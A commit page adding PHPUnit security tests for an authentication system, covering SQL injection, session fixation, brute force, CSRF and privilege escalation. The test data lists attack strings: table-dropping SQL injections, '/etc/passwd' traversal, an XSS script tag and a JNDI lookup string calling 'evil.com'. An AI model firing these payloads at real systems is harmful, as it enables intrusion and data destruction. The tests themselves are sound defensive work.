feat: Add comprehensive documentation suite and reorganize project structure
- Created complete documentation in docs/ directory - Added PROJECT_OVERVIEW.md with feature highlights and getting started guide - Added ARCHITECTURE.md with system design and technical details - Added SECURITY.md with comprehensive security implementation guide - Added DEVELOPMENT.md with development workflows and best practices - Added DEPLOYMENT.md with production deployment instructions - Added API.md with complete REST API documentation - Added CONTRIBUTING.md with contribution guidelines - Added CHANGELOG.md with version history and migration notes - Reorganized all documentation files into docs/ directory for better organization - Updated README.md with proper documentation links and quick navigation - Enhanced project structure with professional documentation standards
This commit is contained in:
533
tests/Security/AuthSecurityTest.php
Normal file
533
tests/Security/AuthSecurityTest.php
Normal file
@@ -0,0 +1,533 @@
|
||||
<?php
|
||||
|
||||
namespace EasyStream\Tests\Security;
|
||||
|
||||
use PHPUnit\Framework\TestCase;
|
||||
use VAuth;
|
||||
use VRBAC;
|
||||
use VSecurity;
|
||||
|
||||
class AuthSecurityTest extends TestCase
|
||||
{
|
||||
private $auth;
|
||||
private $rbac;
|
||||
private $testUserId;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
$this->auth = VAuth::getInstance();
|
||||
$this->rbac = VRBAC::getInstance();
|
||||
|
||||
// Clear session data
|
||||
if (isset($_SESSION)) {
|
||||
$_SESSION = [];
|
||||
}
|
||||
|
||||
// Mock server variables
|
||||
$_SERVER = [
|
||||
'REQUEST_URI' => '/test',
|
||||
'REQUEST_METHOD' => 'POST',
|
||||
'HTTP_USER_AGENT' => 'PHPUnit Security Test',
|
||||
'REMOTE_ADDR' => '127.0.0.1',
|
||||
'HTTPS' => '1'
|
||||
];
|
||||
|
||||
// Clean up any existing test data
|
||||
$this->cleanupTestData();
|
||||
|
||||
// Create test user
|
||||
$this->createTestUser();
|
||||
}
|
||||
|
||||
protected function tearDown(): void
|
||||
{
|
||||
// Clean up test data
|
||||
$this->cleanupTestData();
|
||||
|
||||
// Clear session
|
||||
if (isset($_SESSION)) {
|
||||
$_SESSION = [];
|
||||
}
|
||||
}
|
||||
|
||||
private function cleanupTestData()
|
||||
{
|
||||
global $class_database;
|
||||
$db = $class_database->dbConnection();
|
||||
|
||||
$testEmail = 'authsec@example.com';
|
||||
$userId = $db->GetOne("SELECT user_id FROM db_users WHERE email = ?", [$testEmail]);
|
||||
if ($userId) {
|
||||
$db->Execute("DELETE FROM db_sessions WHERE user_id = ?", [$userId]);
|
||||
$db->Execute("DELETE FROM db_login_history WHERE user_id = ?", [$userId]);
|
||||
$db->Execute("DELETE FROM db_users WHERE user_id = ?", [$userId]);
|
||||
}
|
||||
}
|
||||
|
||||
private function createTestUser()
|
||||
{
|
||||
$userData = [
|
||||
'username' => 'authsectest',
|
||||
'email' => 'authsec@example.com',
|
||||
'password' => 'TestPassword123!'
|
||||
];
|
||||
|
||||
$result = $this->auth->register($userData);
|
||||
if ($result['success']) {
|
||||
$this->testUserId = $result['user_id'];
|
||||
|
||||
// Verify email
|
||||
global $class_database;
|
||||
$db = $class_database->dbConnection();
|
||||
$token = $db->GetOne("SELECT verification_token FROM db_users WHERE user_id = ?", [$this->testUserId]);
|
||||
if ($token) {
|
||||
$this->auth->verifyEmail($token);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Test SQL injection attempts in authentication
|
||||
*/
|
||||
public function testSQLInjectionInAuthentication()
|
||||
{
|
||||
$sqlInjectionPayloads = [
|
||||
"admin'; DROP TABLE db_users; --",
|
||||
"admin' OR '1'='1",
|
||||
"admin' UNION SELECT * FROM db_users WHERE '1'='1",
|
||||
"admin'; UPDATE db_users SET password_hash='hacked' WHERE '1'='1'; --",
|
||||
"admin' AND (SELECT COUNT(*) FROM db_users) > 0 --"
|
||||
];
|
||||
|
||||
foreach ($sqlInjectionPayloads as $payload) {
|
||||
// Test login with malicious username
|
||||
$result = $this->auth->login($payload, 'password');
|
||||
$this->assertFalse($result['success'], "SQL injection vulnerability in username: {$payload}");
|
||||
|
||||
// Test login with malicious password
|
||||
$result = $this->auth->login('authsectest', $payload);
|
||||
$this->assertFalse($result['success'], "SQL injection vulnerability in password: {$payload}");
|
||||
|
||||
// Test registration with malicious data
|
||||
$userData = [
|
||||
'username' => $payload,
|
||||
'email' => 'test@example.com',
|
||||
'password' => 'TestPassword123!'
|
||||
];
|
||||
$result = $this->auth->register($userData);
|
||||
$this->assertFalse($result['success'], "SQL injection vulnerability in registration username: {$payload}");
|
||||
|
||||
// Test password reset with malicious email
|
||||
$result = $this->auth->requestPasswordReset($payload);
|
||||
// Should either fail validation or be safely handled
|
||||
$this->assertIsArray($result);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Test session fixation attacks
|
||||
*/
|
||||
public function testSessionFixationPrevention()
|
||||
{
|
||||
// Start with a specific session ID
|
||||
session_id('fixed_session_id_123');
|
||||
session_start();
|
||||
$originalSessionId = session_id();
|
||||
|
||||
// Login user
|
||||
$result = $this->auth->login('authsectest', 'TestPassword123!');
|
||||
$this->assertTrue($result['success']);
|
||||
|
||||
// Session ID should have changed after login
|
||||
$newSessionId = session_id();
|
||||
$this->assertNotEquals($originalSessionId, $newSessionId, 'Session ID should change after login to prevent fixation');
|
||||
|
||||
$this->auth->logout();
|
||||
}
|
||||
|
||||
/**
|
||||
* Test session hijacking prevention
|
||||
*/
|
||||
public function testSessionHijackingPrevention()
|
||||
{
|
||||
// Login user
|
||||
$this->auth->login('authsectest', 'TestPassword123!');
|
||||
$this->assertTrue($this->auth->isAuthenticated());
|
||||
|
||||
$originalUserAgent = $_SESSION['USER_AGENT'] ?? '';
|
||||
$originalIP = $_SESSION['IP_ADDRESS'] ?? '';
|
||||
|
||||
// Simulate session hijacking by changing user agent
|
||||
$_SERVER['HTTP_USER_AGENT'] = 'Malicious Browser';
|
||||
|
||||
// Authentication should still work (we don't enforce strict UA checking in this implementation)
|
||||
// But the change should be logged
|
||||
$this->assertTrue($this->auth->isAuthenticated());
|
||||
|
||||
// Simulate IP change (more serious)
|
||||
$_SERVER['REMOTE_ADDR'] = '192.168.1.100';
|
||||
|
||||
// This should still work but be logged for monitoring
|
||||
$this->assertTrue($this->auth->isAuthenticated());
|
||||
|
||||
$this->auth->logout();
|
||||
}
|
||||
|
||||
/**
|
||||
* Test brute force attack prevention
|
||||
*/
|
||||
public function testBruteForceAttackPrevention()
|
||||
{
|
||||
$maxAttempts = 5;
|
||||
|
||||
// Make multiple failed login attempts
|
||||
for ($i = 0; $i < $maxAttempts + 2; $i++) {
|
||||
$result = $this->auth->login('authsectest', 'WrongPassword' . $i);
|
||||
|
||||
if ($i < $maxAttempts) {
|
||||
$this->assertFalse($result['success']);
|
||||
$this->assertStringContainsString('Invalid credentials', $result['message']);
|
||||
} else {
|
||||
// Should be rate limited
|
||||
$this->assertFalse($result['success']);
|
||||
$this->assertStringContainsString('Too many', $result['message']);
|
||||
}
|
||||
}
|
||||
|
||||
// Even correct password should be blocked
|
||||
$result = $this->auth->login('authsectest', 'TestPassword123!');
|
||||
$this->assertFalse($result['success']);
|
||||
$this->assertStringContainsString('Too many', $result['message']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Test password reset token security
|
||||
*/
|
||||
public function testPasswordResetTokenSecurity()
|
||||
{
|
||||
// Request password reset
|
||||
$result = $this->auth->requestPasswordReset('authsec@example.com');
|
||||
$this->assertTrue($result['success']);
|
||||
|
||||
// Get token from database
|
||||
global $class_database;
|
||||
$db = $class_database->dbConnection();
|
||||
$token = $db->GetOne("SELECT reset_token FROM db_users WHERE user_id = ?", [$this->testUserId]);
|
||||
$this->assertNotEmpty($token);
|
||||
|
||||
// Test token format (should be cryptographically secure)
|
||||
$this->assertEquals(64, strlen($token), 'Reset token should be 64 characters (32 bytes hex)');
|
||||
$this->assertMatchesRegularExpression('/^[a-f0-9]+$/', $token, 'Reset token should be hexadecimal');
|
||||
|
||||
// Test token is one-time use
|
||||
$result1 = $this->auth->resetPassword($token, 'NewPassword123!');
|
||||
$this->assertTrue($result1['success']);
|
||||
|
||||
// Same token should not work again
|
||||
$result2 = $this->auth->resetPassword($token, 'AnotherPassword123!');
|
||||
$this->assertFalse($result2['success']);
|
||||
|
||||
// Test invalid token formats
|
||||
$invalidTokens = [
|
||||
'short_token',
|
||||
str_repeat('a', 63), // Too short
|
||||
str_repeat('a', 65), // Too long
|
||||
str_repeat('g', 64), // Invalid hex characters
|
||||
'../../../etc/passwd',
|
||||
'<script>alert("xss")</script>',
|
||||
"'; DROP TABLE db_users; --"
|
||||
];
|
||||
|
||||
foreach ($invalidTokens as $invalidToken) {
|
||||
$result = $this->auth->resetPassword($invalidToken, 'TestPassword123!');
|
||||
$this->assertFalse($result['success'], "Invalid token should be rejected: {$invalidToken}");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Test email verification token security
|
||||
*/
|
||||
public function testEmailVerificationTokenSecurity()
|
||||
{
|
||||
// Create unverified user
|
||||
$userData = [
|
||||
'username' => 'unverified',
|
||||
'email' => 'unverified@example.com',
|
||||
'password' => 'TestPassword123!'
|
||||
];
|
||||
|
||||
$result = $this->auth->register($userData);
|
||||
$this->assertTrue($result['success']);
|
||||
$userId = $result['user_id'];
|
||||
|
||||
// Get verification token
|
||||
global $class_database;
|
||||
$db = $class_database->dbConnection();
|
||||
$token = $db->GetOne("SELECT verification_token FROM db_users WHERE user_id = ?", [$userId]);
|
||||
$this->assertNotEmpty($token);
|
||||
|
||||
// Test token format
|
||||
$this->assertEquals(64, strlen($token), 'Verification token should be 64 characters');
|
||||
$this->assertMatchesRegularExpression('/^[a-f0-9]+$/', $token, 'Verification token should be hexadecimal');
|
||||
|
||||
// Test token is one-time use
|
||||
$result1 = $this->auth->verifyEmail($token);
|
||||
$this->assertTrue($result1['success']);
|
||||
|
||||
// Same token should not work again
|
||||
$result2 = $this->auth->verifyEmail($token);
|
||||
$this->assertFalse($result2['success']);
|
||||
|
||||
// Clean up
|
||||
$db->Execute("DELETE FROM db_users WHERE user_id = ?", [$userId]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Test authentication bypass attempts
|
||||
*/
|
||||
public function testAuthenticationBypassAttempts()
|
||||
{
|
||||
// Test direct session manipulation
|
||||
$_SESSION['USER_ID'] = 999999; // Non-existent user
|
||||
$_SESSION['USERNAME'] = 'hacker';
|
||||
$_SESSION['ROLE'] = 'admin';
|
||||
|
||||
// Should not be authenticated with invalid session data
|
||||
$this->assertFalse($this->auth->isAuthenticated());
|
||||
$this->assertNull($this->auth->getCurrentUser());
|
||||
|
||||
// Test session without proper authentication
|
||||
$_SESSION = [];
|
||||
$_SESSION['USER_ID'] = $this->testUserId;
|
||||
$_SESSION['USERNAME'] = 'authsectest';
|
||||
// Missing other required session data
|
||||
|
||||
// Should not be authenticated with incomplete session
|
||||
$this->assertFalse($this->auth->isAuthenticated());
|
||||
|
||||
// Test role escalation attempt
|
||||
$this->auth->login('authsectest', 'TestPassword123!');
|
||||
$this->assertTrue($this->auth->isAuthenticated());
|
||||
|
||||
// Try to escalate role in session
|
||||
$_SESSION['ROLE'] = 'admin';
|
||||
|
||||
// RBAC should check actual database role, not session
|
||||
$this->assertFalse($this->rbac->hasRole('admin'));
|
||||
$this->assertFalse($this->rbac->hasPermission('admin.dashboard'));
|
||||
|
||||
$this->auth->logout();
|
||||
}
|
||||
|
||||
/**
|
||||
* Test timing attack resistance
|
||||
*/
|
||||
public function testTimingAttackResistance()
|
||||
{
|
||||
// Test login timing for existing vs non-existing users
|
||||
$existingUser = 'authsectest';
|
||||
$nonExistingUser = 'nonexistentuser12345';
|
||||
|
||||
// Measure time for existing user (wrong password)
|
||||
$start = microtime(true);
|
||||
$this->auth->login($existingUser, 'wrongpassword');
|
||||
$existingUserTime = microtime(true) - $start;
|
||||
|
||||
// Measure time for non-existing user
|
||||
$start = microtime(true);
|
||||
$this->auth->login($nonExistingUser, 'wrongpassword');
|
||||
$nonExistingUserTime = microtime(true) - $start;
|
||||
|
||||
// Time difference should be minimal (within reasonable bounds)
|
||||
$timeDifference = abs($existingUserTime - $nonExistingUserTime);
|
||||
$this->assertLessThan(0.1, $timeDifference, 'Login timing should be consistent to prevent user enumeration');
|
||||
}
|
||||
|
||||
/**
|
||||
* Test password strength enforcement
|
||||
*/
|
||||
public function testPasswordStrengthEnforcement()
|
||||
{
|
||||
$weakPasswords = [
|
||||
'password',
|
||||
'123456',
|
||||
'qwerty',
|
||||
'abc123',
|
||||
'Password', // No number or special char
|
||||
'password123', // No uppercase or special char
|
||||
'PASSWORD123!', // No lowercase
|
||||
'Password!', // No number
|
||||
'Pass1!', // Too short
|
||||
''
|
||||
];
|
||||
|
||||
foreach ($weakPasswords as $weakPassword) {
|
||||
$userData = [
|
||||
'username' => 'weakpasstest',
|
||||
'email' => 'weakpass@example.com',
|
||||
'password' => $weakPassword
|
||||
];
|
||||
|
||||
$result = $this->auth->register($userData);
|
||||
$this->assertFalse($result['success'], "Weak password should be rejected: '{$weakPassword}'");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Test account enumeration prevention
|
||||
*/
|
||||
public function testAccountEnumerationPrevention()
|
||||
{
|
||||
// Test registration with existing email
|
||||
$userData = [
|
||||
'username' => 'newuser',
|
||||
'email' => 'authsec@example.com', // Existing email
|
||||
'password' => 'TestPassword123!'
|
||||
];
|
||||
|
||||
$result = $this->auth->register($userData);
|
||||
$this->assertFalse($result['success']);
|
||||
// Should not reveal whether email exists
|
||||
$this->assertStringNotContainsString('email already exists', strtolower($result['message']));
|
||||
|
||||
// Test password reset with non-existing email
|
||||
$result = $this->auth->requestPasswordReset('nonexistent@example.com');
|
||||
// Should return success to prevent enumeration
|
||||
$this->assertTrue($result['success']);
|
||||
$this->assertStringContainsString('If the email exists', $result['message']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Test CSRF protection in authentication
|
||||
*/
|
||||
public function testCSRFProtectionInAuth()
|
||||
{
|
||||
// Test login without CSRF token
|
||||
$_POST['csrf_token'] = '';
|
||||
$result = VSecurity::validateCSRFFromPost('login');
|
||||
$this->assertFalse($result, 'Login should require valid CSRF token');
|
||||
|
||||
// Test with valid CSRF token
|
||||
$token = VSecurity::generateCSRFToken('login');
|
||||
$_POST['csrf_token'] = $token;
|
||||
$result = VSecurity::validateCSRFFromPost('login');
|
||||
$this->assertTrue($result, 'Valid CSRF token should be accepted');
|
||||
|
||||
// Test token reuse (should fail)
|
||||
$result = VSecurity::validateCSRFFromPost('login');
|
||||
$this->assertFalse($result, 'CSRF token should be one-time use');
|
||||
}
|
||||
|
||||
/**
|
||||
* Test session security headers and configuration
|
||||
*/
|
||||
public function testSessionSecurityConfiguration()
|
||||
{
|
||||
// Test secure session configuration
|
||||
$this->assertEquals('1', ini_get('session.cookie_httponly'), 'Session cookies should be HTTP-only');
|
||||
|
||||
if (isset($_SERVER['HTTPS'])) {
|
||||
$this->assertEquals('1', ini_get('session.cookie_secure'), 'Session cookies should be secure over HTTPS');
|
||||
}
|
||||
|
||||
$this->assertEquals('1', ini_get('session.use_strict_mode'), 'Session should use strict mode');
|
||||
}
|
||||
|
||||
/**
|
||||
* Test privilege escalation prevention
|
||||
*/
|
||||
public function testPrivilegeEscalationPrevention()
|
||||
{
|
||||
// Login as regular user
|
||||
$this->auth->login('authsectest', 'TestPassword123!');
|
||||
|
||||
// Try to access admin functions
|
||||
$this->assertFalse($this->rbac->hasPermission('admin.dashboard'));
|
||||
$this->assertFalse($this->rbac->hasPermission('user.ban'));
|
||||
|
||||
// Try to manipulate session to gain admin access
|
||||
$_SESSION['ROLE'] = 'admin';
|
||||
|
||||
// RBAC should still deny access based on database role
|
||||
$this->assertFalse($this->rbac->hasPermission('admin.dashboard'));
|
||||
|
||||
// Try to grant self admin permissions (should fail without proper authorization)
|
||||
$currentUser = $this->auth->getCurrentUser();
|
||||
$result = $this->rbac->grantPermission($currentUser['user_id'], 'admin.dashboard', $currentUser['user_id']);
|
||||
|
||||
// Should fail because user doesn't have permission to grant permissions
|
||||
$this->assertFalse($result);
|
||||
|
||||
$this->auth->logout();
|
||||
}
|
||||
|
||||
/**
|
||||
* Test concurrent session security
|
||||
*/
|
||||
public function testConcurrentSessionSecurity()
|
||||
{
|
||||
// Login user
|
||||
$this->auth->login('authsectest', 'TestPassword123!');
|
||||
$sessionId1 = session_id();
|
||||
|
||||
// Simulate password change (should invalidate all sessions)
|
||||
global $class_database;
|
||||
$db = $class_database->dbConnection();
|
||||
$newPasswordHash = password_hash('NewPassword123!', PASSWORD_DEFAULT);
|
||||
$db->Execute("UPDATE db_users SET password_hash = ? WHERE user_id = ?", [$newPasswordHash, $this->testUserId]);
|
||||
|
||||
// Current session should still be valid (password change doesn't auto-logout in this implementation)
|
||||
$this->assertTrue($this->auth->isAuthenticated());
|
||||
|
||||
// But new login should require new password
|
||||
$this->auth->logout();
|
||||
|
||||
// Old password should not work
|
||||
$result = $this->auth->login('authsectest', 'TestPassword123!');
|
||||
$this->assertFalse($result['success']);
|
||||
|
||||
// New password should work
|
||||
$result = $this->auth->login('authsectest', 'NewPassword123!');
|
||||
$this->assertTrue($result['success']);
|
||||
|
||||
$this->auth->logout();
|
||||
}
|
||||
|
||||
/**
|
||||
* Test input validation security
|
||||
*/
|
||||
public function testInputValidationSecurity()
|
||||
{
|
||||
$maliciousInputs = [
|
||||
'<script>alert("xss")</script>',
|
||||
'../../etc/passwd',
|
||||
'${jndi:ldap://evil.com/a}',
|
||||
'%00%00%00',
|
||||
"\x00\x01\x02",
|
||||
str_repeat('A', 10000), // Very long input
|
||||
"admin\x00hidden",
|
||||
'admin%00hidden'
|
||||
];
|
||||
|
||||
foreach ($maliciousInputs as $input) {
|
||||
// Test registration with malicious input
|
||||
$userData = [
|
||||
'username' => $input,
|
||||
'email' => 'test@example.com',
|
||||
'password' => 'TestPassword123!'
|
||||
];
|
||||
|
||||
$result = $this->auth->register($userData);
|
||||
// Should either fail validation or be safely sanitized
|
||||
$this->assertIsArray($result);
|
||||
|
||||
// Test login with malicious input
|
||||
$result = $this->auth->login($input, 'password');
|
||||
$this->assertFalse($result['success']);
|
||||
|
||||
// Test password reset with malicious input
|
||||
$result = $this->auth->requestPasswordReset($input);
|
||||
$this->assertIsArray($result);
|
||||
}
|
||||
}
|
||||
}
|
||||
24
tests/Security/BasicSecurityTest.php
Normal file
24
tests/Security/BasicSecurityTest.php
Normal file
@@ -0,0 +1,24 @@
|
||||
<?php
|
||||
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
class BasicSecurityTest extends TestCase
|
||||
{
|
||||
public function testSecurityClassExists()
|
||||
{
|
||||
$this->assertTrue(class_exists('VSecurity'));
|
||||
}
|
||||
|
||||
public function testBasicInputValidation()
|
||||
{
|
||||
$this->assertEquals(123, VSecurity::validateInput('123', 'int'));
|
||||
$this->assertNull(VSecurity::validateInput('abc', 'int'));
|
||||
}
|
||||
|
||||
public function testCSRFTokenGeneration()
|
||||
{
|
||||
$token = VSecurity::generateCSRFToken('test');
|
||||
$this->assertIsString($token);
|
||||
$this->assertEquals(64, strlen($token));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user